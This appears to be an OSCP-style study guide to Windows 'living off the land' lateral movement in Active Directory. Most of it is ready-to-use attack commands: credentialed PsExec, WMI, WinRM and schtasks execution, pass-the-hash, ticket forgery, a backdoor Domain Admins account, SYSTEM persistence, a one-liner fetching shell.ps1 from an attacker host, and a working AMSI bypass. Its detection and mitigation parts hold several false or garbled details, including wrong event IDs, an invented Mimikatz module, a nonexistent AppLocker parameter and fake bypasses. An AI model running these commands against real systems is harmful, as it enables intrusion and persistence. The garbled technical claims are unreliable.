Domain 6Active Directory AttacksCORE

Living off the Land Techniques

Comprehensive guide to Living off the Land binaries (LOLBins) for Active Directory lateral movement, covering PsExec, WMI, WinRM, schtasks, cmdkey, and native PowerShell techniques, plus AMSI bypass and detection strategies.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#LOLBins#WMI#PsExec#WinRM#PowerShell#AMSI-Bypass#Sysmon

Living off the Land Techniques

Table of Contents

  1. What is LOLBin
  2. Common LOLBins for Lateral Movement
  3. PowerShell Native Cmdlets for Lateral Movement
  4. AMSI Bypass Techniques
  5. LOLBAS Project Reference
  6. Detection Strategies
  7. Mitigation Strategies
  8. Common Pitfalls and Troubleshooting
  9. OSCP Exam Tips

What is LOLBin

LOLBin stands for “Living Off the Land Binary” — these are legitimate, signed, and commonly installed executables on Windows systems that can be abused by attackers to perform malicious activities, including lateral movement.

Why LOLBins Are Dangerous

Characteristic Why It Matters
Legitimate and Signed Code-signed by Microsoft or trusted vendors; bypasses basic signature-based AV
Pre-installed No need to upload tools; already present on target systems
Expected Behavior Administrators use them daily; hard to distinguish legitimate from malicious use
Admin Support Documented and supported by Microsoft; not flagged as malware
Feature-Rich Many have powerful remote execution, credential, and network capabilities

The LOLBin Philosophy

“The best malware is the one that’s already installed.”

Attackers leverage LOLBins to:

  • Execute commands remotely without deploying custom tools
  • Authenticate using stolen or legitimate credentials
  • Move laterally across the network using built-in protocols
  • Persist on systems using native scheduling and configuration mechanisms

Common LOLBins for Lateral Movement

PsExec and psexecsvc

PsExec is part of Microsoft’s Sysinternals suite. It allows remote process execution on target machines over SMB/IPC$.

How It Works

  1. PsExec connects to the target via SMB (port 445)
  2. It copies psexesvc.exe to the admin share (\\target\admin$\psexesvc.exe)
  3. It creates a service named PSEXESVC on the target
  4. The service executes the requested command and streams output back
  5. On exit, the service and binary are cleaned up

Basic Syntax

# Remote command execution
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 cmd

# Remote PowerShell
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 powershell -enc ENCODED_BASE64_CMD

# With specific credentials file
psexec \\TARGET_HOST -u user -p pass -d DOMAIN whoami

# Run as specific user on target
psexec \\TARGET_HOST -u DOMAIN\user -p Password123 -i cmd

# Pass-the-hash (using Metasploit's version)
psexec.py hash/domain/user@TARGET_HOST

Advanced Usage

# Execute with accept-eula flag (first-time use)
psexec.exe -accepteula \\TARGET_HOST cmd

# Run silently (no output window on target)
psexec \\TARGET_HOST -u user -p pass -d domain -d cmd

# Accept EULA and run PowerShell one-liner
psexec -accepteula \\TARGET_HOST -u user -p pass powershell "Invoke-WebRequest -Uri http://attacker/shell.ps1 -OutFile $env:TEMP\s.ps1"

# Copy file to remote system
psexec \\TARGET_HOST -c localfile.exe -d domain -u user -p pass

Impacket psexec.py

The Python-based Impacket version is often preferred in OSCP:

# Basic authentication
psexec.py DOMAIN/user:password@TARGET_HOST

# Pass-the-hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@TARGET_HOST

# Kerberos authentication (no password needed if ticket exists)
psexec.py -k -no-pass DOMAIN/user@TARGET_HOST

# Execute specific command
psexec.py DOMAIN/user:password@TARGET_HOST "whoami"

# Use existing Kerberos ticket
export KRB5CCNAME=/path/to/ticket.kirbi
psexec.py -k DOMAIN/user@TARGET_HOST

Detection Indicators

Event ID Description
4688 New process created — look for psexesvc.exe or psexec.exe
7045 Service installed — look for PSEXESVC service name
7040 Service changed — service start type modification
5140/5145 Shared file/object opened — access to admin$ share
Sysmon 1 Process creation with full command line
Sysmon 11 File created — psexesvc.exe written to admin$

WMI and WMIC

WMI (Windows Management Instrumentation) is a core Windows administration infrastructure. Attackers abuse it for remote command execution without deploying additional binaries.

WMIC (Legacy)

# Remote process creation
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 process call create "cmd /c whoami > C:\temp\output.txt"

# List remote processes
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 process list brief

# Get OS information
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 os get caption,version

# List installed software
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 product get name,version

# Get user accounts
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 useraccount list brief

# Get network configuration
wmic /node:TARGET_HOST /user:DOMAIN\user /password:Password123 nicconfig where IPEnabled=True get DNSHostName,IPAddress

PowerShell WMI Cmdlets

# Invoke-WmiMethod for remote execution
Invoke-WmiMethod -ComputerName TARGET_HOST -Class Win32_Process -Name Create -ArgumentList "cmd /c whoami" -Credential (Get-Credential)

# Get-WmiObject for enumeration
Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET_HOST -Credential (Get-Credential)

# Get-WmiObject for user enumeration
Get-WmiObject -Class Win32_UserAccount -ComputerName TARGET_HOST -Credential (Get-Credential)

# CIM (modern replacement for WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -ComputerName TARGET_HOST -ArgumentList {"cmd /c whoami"} -Credential (Get-Credential)
Get-CimInstance -ClassName Win32_ComputerSystem -ComputerName TARGET_HOST -Credential (Get-Credential)

WMI via COM/DCOM (Advanced)

# Create WMI connection via COM
$wmi = [WMICLASS]"\\TARGET_HOST\root\default:StdRegProv"
$process = [WMICLASS]"\\TARGET_HOST\root\cimv2:Win32_Process"
$process.Create("cmd /c whoami > C:\temp\out.txt")

# WMI event subscription for persistence
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance.__CLASS='Win32_LocalTime' AND TargetInstance.Second=0"
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments {Name='UpdateFilter', EventName='root\cimv2', QueryLanguage='WQL', Query=$query}

Detection Indicators

Event ID Description
4688 wmic.exe process creation with suspicious command lines
5857/5858 WMI filter/activity events (Windows 10 1803+)
5859 WMI method execution events
Sysmon 1 Process creation for wmic.exe
Sysmon 23 WMI subscription events (persistence)
4104 WMI event consumer activity

WinRM and PowerShell Remoting

WinRM (Windows Remote Management) enables remote management via HTTP/HTTPS. PowerShell Remoting builds on WinRM.

Prerequisites

  • WinRM service must be running on the target
  • Port 5985 (HTTP) or 5986 (HTTPS) must be accessible
  • Target user must have appropriate permissions

Enable WinRM (on target — for setup)

# Enable WinRM Quick Config
Enable-PSRemoting -Force

# Manual WinRM configuration
winrm quickconfig
winrm set winrm/config/service @{AllowUnencrypted="true"}
winrm set winrm/config/service/auth @{Basic="true"}

Enter-PSSession (Interactive)

# Interactive remote PowerShell session
Enter-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\user

# With specific port
Enter-PSSession -ComputerName TARGET_HOST -Port 5985 -Credential DOMAIN\user

# Using HTTPS
Enter-PSSession -ComputerName TARGET_HOST -Port 5986 -UseSSL -Credential DOMAIN\user

Invoke-Command (Non-Interactive)

# Execute single command
Invoke-Command -ComputerName TARGET_HOST -ScriptBlock { whoami; Get-Process } -Credential DOMAIN\user

# Execute script file
Invoke-Command -ComputerName TARGET_HOST -ScriptBlock { Invoke-Expression (Get-Content C:\temp\script.ps1 -Raw) } -Credential DOMAIN\user

# Multiple targets
Invoke-Command -ComputerName HOST1,HOST2,HOST3 -ScriptBlock { Get-Service } -Credential DOMAIN\user

# With session reuse
$session = New-PSSession -ComputerName TARGET_HOST -Credential DOMAIN\user
Invoke-Command -Session $session -ScriptBlock { whoami }
Invoke-Command -Session $session -ScriptBlock { Get-Process }
Remove-PSSession $session

winrs.exe (Command Line)

# Remote command via winrs
winrs -r:TARGET_HOST -u:DOMAIN\user -p:Password123 "cmd /c whoami"

# PowerShell via winrs
winrs -r:TARGET_HOST -u:DOMAIN\user -p:Password123 "powershell whoami"

Evil-WinRM (Ruby Tool)

# Install
gem install evil-winrm

# Basic usage
evil-winrm -i TARGET_HOST -u DOMAIN\user -p Password123

# With hash
evil-winrm -i TARGET_HOST -u DOMAIN\user -H NTHASH

# Upload/download files
evil-winrm -i TARGET_HOST -u user -p pass
upload /local/file.exe C:\temp\file.exe
download C:\temp\secrets.txt /local/secrets.txt

Detection Indicators

Event ID Description
4104 WinRM event — PowerShell remoting activity
4624 Logon type 10 (network with null session) or type 3
4634/4647 Logoff events from remote sessions
Sysmon 1 winrs.exe or PowerShell remoting process creation
Sysmon 3 Network connection on port 5985/5986
40 PowerShell script block logging

schtasks - Scheduled Tasks

schtasks creates and manages scheduled tasks. Attackers abuse it for remote execution and persistence.

Remote Task Creation and Execution

# Create a remote scheduled task
schtasks /create /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask" /tr "cmd /c whoami > C:\temp\output.txt" /sc ONCE /st 00:00 /ru "SYSTEM"

# Run the task immediately
schtasks /run /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask"

# Delete the task after execution
schtasks /delete /s TARGET_HOST /u DOMAIN\user /p Password123 /tn "UpdateTask" /f

# One-liner: create, run, and delete
schtasks /create /s TARGET_HOST /u user /p pass /tn "T" /tr "powershell -enc BASE64CMD" /sc ONCE /st 00:00 /ru SYSTEM & schtasks /run /s TARGET_HOST /tn "T" & schtasks /delete /s TARGET_HOST /tn "T" /f

Local Persistence via schtasks

# Create persistent reverse shell task
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc ENCODED_CMD" /sc DAILY /mo 1 /ru SYSTEM

# Run at system startup
schtasks /create /tn "StartupTask" /tr "C:\temp\malware.exe" /sc ONSTART /ru SYSTEM

# Every 15 minutes
schtasks /create /tn "CheckIn" /tr "cmd /c ping 10.0.0.1" /sc MINUTE /mo 15 /ru SYSTEM

Detection Indicators

Event ID Description
4698 A scheduled task was created
4699 A scheduled task was deleted
4700 A scheduled task was enabled
4701 A scheduled task was disabled
4702 A scheduled task was updated
4703 A scheduled task was started
Sysmon 1 schtasks.exe process creation

cmdkey - Stored Credentials

cmdkey manages stored credentials in Windows Credential Manager. Attackers use it to cache credentials for seamless lateral movement.

Adding and Using Stored Credentials

# Add a generic credential
cmdkey /add:TARGET_HOST /user:DOMAIN\user /pass:Password123

# List stored credentials
cmdkey /list

# Delete a stored credential
cmdkey /delete:TARGET_HOST

# Add credential and use with PsExec (seamless auth)
cmdkey /add:TARGET_HOST /user:DOMAIN\user /pass:Password123
psexec \\TARGET_HOST cmd
cmdkey /delete:TARGET_HOST

# Add credential for multiple hosts
cmdkey /add:HOST1 /user:user /pass:pass
cmdkey /add:HOST2 /user:user /pass:pass
cmdkey /add:HOST3 /user:user /pass:pass

Detection Indicators

Event ID Description
Sysmon 10 Process access — cmdkey.exe accessing credential processes
4624 Logon with cached credentials
Security Logon Credential manager activity in verbose logging

runas - Credential Reuse

runas executes a program under a different user account.

# Run command as different user
runas /user:DOMAIN\user "cmd /k whoami"

# Run PowerShell as different user
runas /user:DOMAIN\user "powershell -NoExit -Command whoami"

# Save password (not recommended, stored in memory)
runas /savecred /user:DOMAIN\user "cmd /k whoami"

# Runas with saved credentials (after initial use of /savecred)
runas /savecred /user:DOMAIN\Administrator "cmd"

Detection Indicators

Event ID Description
4648 A logon was attempted using explicit credentials
4624 Logon type 2 (local interactive) with different user
Sysmon 1 runas.exe process creation

klist and kinit - Kerberos Manipulation

klist displays Kerberos tickets. kinit (via Mimikatz or Rubeus) obtains Kerberos tickets.

klist — Ticket Enumeration

# List all Kerberos tickets
klist

# List tickets in detail
klist tickets

# List service tickets
klist tickets -service cifs/TARGET_HOST

# Export tickets (Mimikatz)
# kerberos::list /export

Rubeus — Kerberos Attacks

# Ask for TGT
Rubeus.exe asktgt /user:Administrator /rc4:HASH /ptt

# Silver ticket (service ticket forgery)
Rubeus.exe ptt /ticket:BASE64_TICKET

# Golden ticket (TGT forgery)
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:HASH /tickets

# Kerberoasting
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

Detection Indicators

Event ID Description
4768 Kerberos TGT requested
4769 Kerberos service ticket requested
4771 Kerberos preauth failure
4772 Kerberos preauth failure (incorrect transform)

nltest - Domain Trust Enumeration

nltest tests domain trust relationships and domain controller connectivity.

# List all trusted domains
nltest /domain_trusts

# List all trusted domains with details
nltest /domain_trusts /all /v

# Check domain trust password
nltest /query

# Get domain controller information
nltest /dsgetdc:DOMAIN_NAME

# Verify trust relationship
nltest /server:TARGET_DC /sc_verify:DOMAIN_NAME

# Get PDC emulator
nltest /dclist:DOMAIN_NAME

Detection Indicators

Event ID Description
Sysmon 1 nltest.exe process creation
4688 Process creation event

dsquery and dsadd - AD Object Manipulation

dsquery searches Active Directory objects. dsadd creates new AD objects.

# Query all users
dsquery user

# Query all computers
dsquery computer

# Query users in specific OU
dsquery user -ou "OU=Sales,DC=corp,DC=local"

# Query groups
dsquery group -name "*Admin*"

# Find users with specific attributes
dsquery user -name "*admin*"

# Query domain controllers
dsquery server

# Add a new user (requires privileges)
dsadd user "CN=BackdoorUser,OU=Users,DC=corp,DC=local" -pwd Password123 -enabled yes

# Add user to group
dsmod group "CN=Domain Admins,CN=Users,DC=corp,DC=local" -addmbr "CN=BackdoorUser,OU=Users,DC=corp,DC=local"

rpcping and ntlmauth

rpcping tests RPC connectivity. ntlmauth (Mimikatz module) performs NTLM authentication relay.

# Test RPC connectivity
rpcping -s TARGET_HOST -e 135

# ntlmauth for relay attacks (Mimikatz)
# sekurlsa::ntlmauth /user:USER /domain:DOMAIN /password:PASS /dc:DC_HOST

PowerShell Native Cmdlets for Lateral Movement

PowerSploit and Empire Native Cmdlets

Many lateral movement techniques are available via native PowerShell without external tools:

# Invoke-WMIExec (PowerSploit)
Invoke-WMIExec -ComputerName TARGET_HOST -Credential $cred -Payload { whoami }

# Invoke-Command with credentials
$cred = Get-Credential
Invoke-Command -ComputerName TARGET_HOST -Credential $cred -ScriptBlock { Get-Process }

# New-PSSession for persistent connection
$session = New-PSSession -ComputerName TARGET_HOST -Credential $cred
Invoke-Command -Session $session -ScriptBlock { Get-Service }

# Invoke-SharePoint (access shares)
# Invoke-UserImpersonation (token manipulation)

Native PowerShell Lateral Movement Chain

# Step 1: Create credential object
$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\user', $pass)

# Step 2: Enumerate via WMI
Get-WmiObject -Class Win32_ComputerSystem -ComputerName TARGET -Credential $cred

# Step 3: Execute via WinRM
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
    # Enumerate local users
    Get-LocalUser
    # Check admin groups
    net localgroup administrators
    # Dump interesting files
    Get-ChildItem C:\Users\ -Recurse -Filter "*.txt" -ErrorAction SilentlyContinue
}

# Step 4: Execute via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName TARGET -Credential $cred -ArgumentList "cmd /c whoami"

AMSI Bypass Techniques

AMSI (Antimalware Scan Interface) allows security products to scan PowerShell scripts and other content. Bypassing AMSI is often necessary for executing malicious PowerShell.

Technique 1: AMSI Context Corruption (Most Common)

# Reflective DLL injection approach
$w = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -match 'AMSI'}
$w | ForEach-Object {
    $_ | Get-Member -Static | Where-Object {$_.Name -match 'Init'}
}

# One-liner AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Technique 2: Patching amsi.dll in Memory

# Find and patch the amsi buffer
$amsiBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(8)
[System.Runtime.InteropServices.Marshal]::WriteByte($amsiBuffer, 0x00)
# Patch the Init function to always return failure

Technique 3: Constrained Language Mode Bypass

# Check if in constrained language mode
$ExecutionContext.SessionState.LanguageMode

# Bypass via environment variable
$env:PSModulePath = ''

Detection for AMSI Bypass

Indicator Description
Sysmon 10 Process access to PowerShell by non-PowerShell processes
Sysmon 8 Remote thread creation (DLL injection)
Sysmon 9 Process injection
AMSI Scan Events Security product logs showing AMSI initialization failures

LOLBAS Project Reference

The LOLBAS project maintains a comprehensive database of Living Off the Land Binaries, Scripts, and Libraries.

Key Categories for Lateral Movement

Category Examples
Binaries psexec.exe, wmic.exe, schtasks.exe, winrs.exe, mshta.exe, rundll32.exe
Scripts download.crash, execute.ps1, bypass.ps1
DLLs prxcli.dll, url.dll, proxdll.dll
Drivers Not typically used for lateral movement

Must-Know LOLBins for OSCP

LOLBin Purpose Key Switches
psexec.exe Remote execution \\target, -u, -p
wmic.exe Remote WMI execution /node:, /user:, /password:
schtasks.exe Remote task creation /s, /create, /run
winrs.exe WinRM execution -r:, -u:, -p:
mshta.exe HTA execution (download+exec) http://url/file.hta
rundll32.exe DLL execution dll,entrypoint
certutil.exe Base64 decode/download -decode, -f
bitsadmin.exe File download /transfer

Detection Strategies

Sigma Rules for LOLBin Detection

# Example Sigma rule for PsExec
title: PsExec Service Installation
id: abc123
status: experimental
logsource:
    category: sysmon_event_log
    product: windows
detection:
    selection:
        EventID: 7045
        ServiceName: 'PSEXESVC'
    condition: selection
level: high

Sysmon Configuration for LOLBins

<!-- Sysmon config for LOLBin detection -->
<Sysmon schemaversion="4.90">
  <HashAlgorithms>sha256</HashAlgorithms>
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <Image condition="end with">psexec.exe</Image>
      <Image condition="end with">psexesvc.exe</Image>
      <Image condition="end with">wmic.exe</Image>
      <Image condition="end with">winrs.exe</Image>
      <Image condition="end with">mshta.exe</Image>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Mitigation Strategies

AppLocker

# Create AppLocker policy
New-AppLockerPolicy -DefaultRule UserDefinedDllAllowRules,UserDefinedExeAllowRules,UserDefinedScriptAllowRules | Set-AppLockerPolicy -LogoxiusRules

# Restrict PsExec
New-AppLockerPolicy -ExeRulePath "C:\Sysinternals\*" -RuleType Deny

WDAC (Windows Defender Application Control)

# Create WDAC policy
New-CIPPolicy -Name "LateralMovementBlock" -Level FileSystem

CMSTP Restrictions

# Disable CMSTP
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "EnableCMSTP" -Value 0

Common Pitfalls and Troubleshooting

Issue Solution
PsExec: Access Denied Ensure admin shares are enabled; check firewall rules for port 445
WMI: Unavailable Ensure WMI service is running; check DCOM permissions
WinRM: Connection Refused Enable WinRM on target; check port 5985/5986
AMSI blocks execution Apply AMSI bypass before running malicious scripts
Trusted Hosts not configured Add target to TrustedHosts: Set-Item WSMan:\localhost\Client\TrustedHosts -Value TARGET
UAC Remote Restriction Local admin remote exec may be blocked by UAC; use admin shares or services

OSCP Exam Tips

  1. Always try native tools first — PsExec, WMI, and WinRM are your bread and butter
  2. PsExec is the go-to — When you have credentials and admin shares work, PsExec is fastest
  3. WMI when SMB is blocked — If port 445 is filtered, try WMI (port 135/RPC)
  4. WinRM for PowerShell access — Port 5985 gives you full PowerShell remoting
  5. schtasks for stealth — Scheduled tasks leave less obvious artifacts than PsExec services
  6. Cache credentials with cmdkey — When moving to multiple hosts, avoid repeating credentials
  7. Check TrustedHosts — WinRM may require the target to be in TrustedHosts list
  8. Firewall awareness — Know which ports each technique uses:
    • PsExec: 445 (SMB), 139 (NetBIOS)
    • WMI: 135 (RPC), dynamic RPC ports
    • WinRM: 5985 (HTTP), 5986 (HTTPS)
    • RDP: 3389